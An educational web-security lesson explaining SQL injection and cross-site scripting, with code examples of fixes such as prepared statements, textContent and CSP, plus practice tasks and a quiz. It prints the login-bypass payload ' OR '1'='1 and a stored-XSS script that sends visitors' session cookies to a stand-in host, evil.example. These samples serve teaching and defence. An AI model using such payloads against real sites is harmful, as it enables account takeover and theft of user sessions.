# Web Attacks — SQL Injection and XSS

Two classic web attacks that break websites through their own input boxes — what they are, and how developers block them.

## Introduction

A website has input boxes: a search box, a login form, a comment box. Those boxes expect normal text. But what if someone types not a name, but a command? If the website pastes that text straight into its database query or its page, the attacker's words become the website's own instructions. That is the heart of the two most famous web attacks.

**SQL injection (SQLi)** smuggles a database command through an input box, so the attacker can read, change, or delete data they should never touch. **Cross-Site Scripting (XSS)** smuggles a script through an input box, so the script runs in another visitor's browser and steals their session.

Both attacks are old, both are still in the OWASP Top 10, and both are stopped the same way: never trust user input — check it, and keep code and data separate.

In this lesson you will see both attacks with small examples, learn how developers block them, and find where our own SQL and JavaScript series teach the skills that stop them.

*(Roman Urdu: SQL Injection aur XSS mein hamla-aawar input box mein command chhupa kar bhejta hai — website usay apna hukum samajh leti hai. Hal aik hi hai: user ki likhi cheez par kabhi bharosa na karo, code aur data ko alag rakho.)*

This lesson is concepts and defence only. It does not teach you how to attack a real website — testing these on a site you do not own is illegal (see CS.7).

## Key points

- **SQL injection happens when user input is pasted directly into a database query.** The database cannot tell where the developer's query ends and the attacker's command begins.
- **The classic SQLi payload is `' OR '1'='1`.** Typed into a login box, it can turn "find this user" into "find this user OR true" — which matches everyone, and logs the attacker in without a password.
- **XSS happens when user input is shown on a page without cleaning it.** A comment containing `<script>...</script>` runs as real code in every visitor's browser.
- **Stored XSS is the dangerous kind.** The attacker's script is saved in the database (for example, as a comment) and runs for every visitor who opens the page. Reflected XSS runs once, from a crafted link.
- **An XSS script can steal a session cookie.** With your cookie, the attacker becomes you on that site — without ever knowing your password.
- **The fix for SQLi is parameterised queries (prepared statements).** The query is sent with placeholders, and the input is sent separately as data — so the database never treats input as code.

- **The fix for XSS is output encoding + Content Security Policy.** Show user text as text (escape `<` and `>`), never as HTML — and let CSP block scripts that were not approved.
- **Validation helps but is not enough.** Blocking a few bad words fails; attackers just find new spellings. Parameterisation and encoding are the real defences.
- **Where to learn more in this site:** SQL series (CS link: `/notes/sql`) teaches queries and prepared statements; JavaScript series (`/notes/javascript`) teaches safe DOM handling with `textContent` instead of `innerHTML`.

## Examples

### Example 1 — SQL injection, step by step

A login page builds its query by pasting the username straight in:

```
-- What the developer intended:
SELECT * FROM users WHERE username = 'ali' AND password = 'secret123';

-- What the attacker types as username:  ' OR '1'='1
-- The query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'xxx';
```

`'1'='1'` is always true, so the `OR` matches the first user in the table — often the admin — and the attacker is logged in without knowing any password. The database did exactly what the query said; the problem is that the attacker's text became part of the query.

### Example 2 — The fix: a prepared statement (Python)

```
# DANGEROUS — input pasted into the query:
query = "SELECT * FROM users WHERE username = '" + username + "'"

# SAFE — placeholder, input sent separately as data:
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
```

With the placeholder, the database receives the query and the data separately. Even if the username is `' OR '1'='1`, it is treated as a strange username to look up — not as code. No match, no login. This is the one fix that matters most.

### Example 3 — Stored XSS, step by step

```
1. Attacker posts a comment:  <script>fetch('https://evil.example/?c=' + document.cookie)
</script>
2. The website saves the comment and shows it to every visitor — as HTML.
3. Each visitor's browser runs the script and sends their session
   cookie to the attacker's server.
4. Attacker uses a stolen cookie to open the victim's account.
```

The website never meant to run that code. It just displayed user text as if it were its own page content.

### Example 4 — The fix: show text as text (JavaScript)

```
// DANGEROUS — user text parsed as HTML:
commentBox.innerHTML = userComment;

// SAFE — user text shown as plain text:
commentBox.textContent = userComment;
```

With `textContent`, the browser displays `<script>` as visible text on the page — it never runs it. (Our JavaScript series, lesson js-dom-selecting-changing, teaches exactly this rule.) On the server side, output encoding does the same job: turn `<` into `<` before sending the page.

### Example 5 — Defence in depth for a login page

```
Layer 1: prepared statements — input can never become SQL code.
Layer 2: least privilege — the website's database user may only
         read what it needs, never delete whole tables.
Layer 3: output encoding — user text is shown as text, never HTML.
Layer 4: Content Security Policy — the browser blocks scripts
         that the site did not approve.
Layer 5: HttpOnly cookies — JavaScript cannot read the session
         cookie at all, so even a successful XSS steals nothing.
```

One layer can fail; five layers failing at once is very unlikely. That is defence in depth.

## Quick recap

- SQL injection: input pasted into a query becomes database code. Fix: prepared statements.
- XSS: input shown as HTML becomes code in visitors' browsers. Fix: output encoding + textContent + CSP.
- Stored XSS is saved and hits every visitor; reflected XSS comes from a crafted link.
- Never trust user input; keep code and data separate.

- Learn the fixes hands-on: SQL series for prepared statements, JavaScript series for safe DOM output.

## Common mistakes

1. **Building queries by joining strings** — `"SELECT ... '" + input + "'"` is the vulnerability itself. Fix: placeholders and prepared statements, every time.
2. **Using innerHTML with user text** — it parses the text as code. Fix: textContent for user content.
3. **Blacklisting a few bad words** — attackers bypass "script" with "ScRiPt" or encoded forms. Fix: encode output properly instead of banning words.
4. **Thinking "my site is small, nobody will attack it"** — bots scan every site on the internet automatically, big or small. Fix: secure it anyway; the scan costs the attacker nothing.
5. **Forgetting least privilege** — a database user that can delete everything turns a small injection into a total loss. Fix: give each part of the app only the permissions it needs.

## Practice

1. Write the classic payload `' OR '1'='1` on paper and explain, in two lines, why it makes a login query return a user.
2. In the Python example above, what happens if the username really is `' OR '1'='1` and the code uses the placeholder version? Write the answer: what does the database look for?
3. Explain stored XSS vs reflected XSS to a friend: which one is saved in the database, and which one needs the victim to click a crafted link?
4. Open the SQL series (`/notes/sql`) and find the lesson on prepared statements; open the JavaScript series (`/notes/javascript`) and find the lesson on `textContent` vs `innerHTML`. Write one line for each rule you will remember.
5. A comment box on a small blog shows your text exactly as typed. You type `<b>hello</b>` and it appears bold. Is that site safe from XSS? Why or why not? (Hint: if `<b>` works, what else works?)

## Practice quiz

**1. What is SQL injection?**

- Typing a password wrong three times
- Smuggling a database command through an input box so it runs as part of the query
- Deleting a database by accident
- A slow database query

**Answer:** Smuggling a database command through an input box so it runs as part of the query

**2. What is the main fix for SQL injection?**

- Blocking the word 'OR' in input
- Prepared statements (parameterised queries) that keep code and data separate

- Hiding the login page
- Using longer passwords

**Answer:** Prepared statements (parameterised queries) that keep code and data separate

**3. How do you safely show user-typed text on a web page?**

- With innerHTML, always
- With textContent, which shows it as plain text instead of running it as HTML
- By deleting any text with symbols
- User text can never be shown safely

**Answer:** With textContent, which shows it as plain text instead of running it as HTML

---

**Watch the Code Scope channel:** https://www.youtube.com/@CodeScopePK — this lesson's own video joins the channel when it is recorded.

**Read online:** https://scopetreasure.com/notes/cs-sql-injection-xss · More free tools and notes at https://scopetreasure.com